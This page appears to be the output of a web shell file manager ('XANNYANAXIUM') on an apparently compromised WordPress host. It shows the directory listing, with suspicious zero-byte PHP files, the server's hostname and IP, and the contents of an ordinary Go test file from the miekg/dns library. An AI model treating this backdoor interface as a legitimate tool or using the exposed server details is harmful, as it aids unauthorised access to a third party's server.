XANNYANAXIUM FILE MANAGER

Navigate and manage your files

Current Directory
Upload File
Standard Upload
Advanced Upload

Status: No file selected

Create New
Name Type Size Modified Permission Actions
/ .. Directory — 2025-05-23 05:57:18 0755
/ wp-admin Directory — 2026-08-24 09:01:10 0755
/ wp-content Directory — 2026-09-23 15:34:11 0755
/ wp-includes Directory — 2026-09-23 15:34:04 0755
.htaccess HTACCESS 1.92 KB 2026-05-07 22:43:39 0644
.htaccess.bk BK 1.15 KB 2025-11-21 07:04:52 0644
.htaccess_old HTACCESS_OLD 1.80 KB 2025-11-21 07:14:55 0644
.user.ini INI 9 bytes 2026-01-05 06:16:59 0644
atomlib.php PHP 0 bytes 2026-09-22 09:09:48 0644
default.php PHP 15.99 KB 2025-05-23 12:16:32 0644
edits.php PHP 0 bytes 2026-09-22 08:49:13 0644
index.php PHP 1.30 KB 2026-09-22 06:21:28 0644
license.txt TXT 19.44 KB 2026-08-20 12:39:46 0644
phpinfo.php PHP 20 bytes 2025-05-23 05:57:32 0644
readme.html HTML 7.23 KB 2026-09-18 01:39:40 0644
robots.txt TXT 405 bytes 2026-09-22 07:12:19 0644
wp-activate.php PHP 7.54 KB 2026-08-20 12:39:46 0644
wp-blog-header.php PHP 351 bytes 2025-05-23 12:16:32 0644
wp-comments-post.php PHP 2.27 KB 2025-05-23 12:16:32 0644
wp-config-sample.php PHP 46 bytes 2026-09-23 15:34:06 0644
wp-config.php PHP 3.53 KB 2025-11-21 07:39:35 0644
wp-cron.php PHP 5.49 KB 2025-05-23 12:16:32 0644
wp-links-opml.php PHP 2.43 KB 2025-12-03 12:55:28 0644
wp-load.php PHP 3.84 KB 2025-05-23 12:16:32 0644
wp-login.php PHP 51.30 KB 2026-08-20 12:39:46 0644
wp-mail.php PHP 8.52 KB 2025-12-03 12:55:30 0644
wp-postnews.php PHP 12.59 KB 2026-09-23 09:22:15 0644
wp-settings.php PHP 32.38 KB 2026-08-20 12:39:46 0644
wp-signup.php PHP 34.26 KB 2026-08-20 12:39:46 0644
wp-sx9a.php PHP 0 bytes 2026-09-22 08:49:04 0644
wp-trackback.php PHP 5.27 KB 2026-08-20 12:39:46 0644
xmlrpc.php PHP 3.13 KB 2025-05-23 12:16:32 0644

Dir : /opt/go/pkg/mod/github.com/miekg/dns@v1.1.41/
Server: Linux in-mum-web1754.main-hosting.eu 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
IP: 77.37.46.203
Choose File :
Url:
Dir : //opt/go/pkg/mod/github.com/miekg/dns@v1.1.41/udp_test.go

// +build linux,!appengine

package dns

import (
	"bytes"
	"net"
	"runtime"
	"strings"
	"testing"
	"time"

	"golang.org/x/net/ipv4"
	"golang.org/x/net/ipv6"
)

func TestSetUDPSocketOptions(t *testing.T) {
	// returns an error if we cannot resolve that address
	testFamily := func(n, addr string) error {
		a, err := net.ResolveUDPAddr(n, addr)
		if err != nil {
			return err
		}
		c, err := net.ListenUDP(n, a)
		if err != nil {
			return err
		}
		if err := setUDPSocketOptions(c); err != nil {
			t.Fatalf("failed to set socket options: %v", err)
		}
		ch := make(chan *SessionUDP)
		go func() {
			// Set some deadline so this goroutine doesn't hang forever
			c.SetReadDeadline(time.Now().Add(time.Minute))
			b := make([]byte, 1)
			_, sess, err := ReadFromSessionUDP(c, b)
			if err != nil {
				t.Errorf("failed to read from conn: %v", err)
				// fallthrough to chan send below
			}
			ch <- sess
		}()

		c2, err := net.Dial("udp", c.LocalAddr().String())
		if err != nil {
			t.Fatalf("failed to dial udp: %v", err)
		}
		if _, err := c2.Write([]byte{1}); err != nil {
			t.Fatalf("failed to write to conn: %v", err)
		}
		sess := <-ch
		if sess == nil {
			// t.Error was already called in the goroutine above.
			t.FailNow()
		}
		if len(sess.context) == 0 {
			t.Fatalf("empty session context: %v", sess)
		}
		ip := parseDstFromOOB(sess.context)
		if ip == nil {
			t.Fatalf("failed to parse dst: %v", sess)
		}
		if !strings.Contains(c.LocalAddr().String(), ip.String()) {
			t.Fatalf("dst was different than listen addr: %v != %v", ip.String(), c.LocalAddr().String())
		}
		return nil
	}

	// we require that ipv4 be supported
	if err := testFamily("udp4", "127.0.0.1:0"); err != nil {
		t.Fatalf("failed to test socket options on IPv4: %v", err)
	}
	// IPv6 might not be supported so these will just log
	if err := testFamily("udp6", "[::1]:0"); err != nil {
		t.Logf("failed to test socket options on IPv6-only: %v", err)
	}
	if err := testFamily("udp", "[::1]:0"); err != nil {
		t.Logf("failed to test socket options on IPv6/IPv4: %v", err)
	}
}

func TestParseDstFromOOB(t *testing.T) {
	if runtime.GOARCH != "amd64" {
		// The cmsghdr struct differs in the width (32/64-bit) of
		// lengths and the struct padding between architectures.
		// The data below was only written with amd64 in mind, and
		// thus the test must be skipped on other architectures.
		t.Skip("skipping test on unsupported architecture")
	}

	// dst is :ffff:100.100.100.100
	oob := []byte{36, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 100, 100, 100, 100, 2, 0, 0, 0}
	dst := parseDstFromOOB(oob)
	dst4 := dst.To4()
	if dst4 == nil {
		t.Errorf("failed to parse IPv4 in IPv6: %v", dst)
	} else if dst4.String() != "100.100.100.100" {
		t.Errorf("unexpected IPv4: %v", dst4)
	}

	// dst is 2001:db8::1
	oob = []byte{36, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 50, 0, 0, 0, 32, 1, 13, 184, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0}
	dst = parseDstFromOOB(oob)
	dst6 := dst.To16()
	if dst6 == nil {
		t.Errorf("failed to parse IPv6: %v", dst)
	} else if dst6.String() != "2001:db8::1" {
		t.Errorf("unexpected IPv6: %v", dst4)
	}

	// dst is 100.100.100.100 but was received on 10.10.10.10
	oob = []byte{28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 2, 0, 0, 0, 10, 10, 10, 10, 100, 100, 100, 100, 0, 0, 0, 0}
	dst = parseDstFromOOB(oob)
	dst4 = dst.To4()
	if dst4 == nil {
		t.Errorf("failed to parse IPv4: %v", dst)
	} else if dst4.String() != "100.100.100.100" {
		t.Errorf("unexpected IPv4: %v", dst4)
	}
}

func TestCorrectSource(t *testing.T) {
	if runtime.GOARCH != "amd64" {
		// See comment above in TestParseDstFromOOB.
		t.Skip("skipping test on unsupported architecture")
	}

	// dst is :ffff:100.100.100.100 which should be counted as IPv4
	oob := []byte{36, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 100, 100, 100, 100, 2, 0, 0, 0}
	soob := correctSource(oob)
	cm4 := new(ipv4.ControlMessage)
	cm4.Src = net.ParseIP("100.100.100.100")
	if !bytes.Equal(soob, cm4.Marshal()) {
		t.Errorf("unexpected oob for ipv4 address: %v", soob)
	}

	// dst is 2001:db8::1
	oob = []byte{36, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 50, 0, 0, 0, 32, 1, 13, 184, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0}
	soob = correctSource(oob)
	cm6 := new(ipv6.ControlMessage)
	cm6.Src = net.ParseIP("2001:db8::1")
	if !bytes.Equal(soob, cm6.Marshal()) {
		t.Errorf("unexpected oob for IPv6 address: %v", soob)
	}
}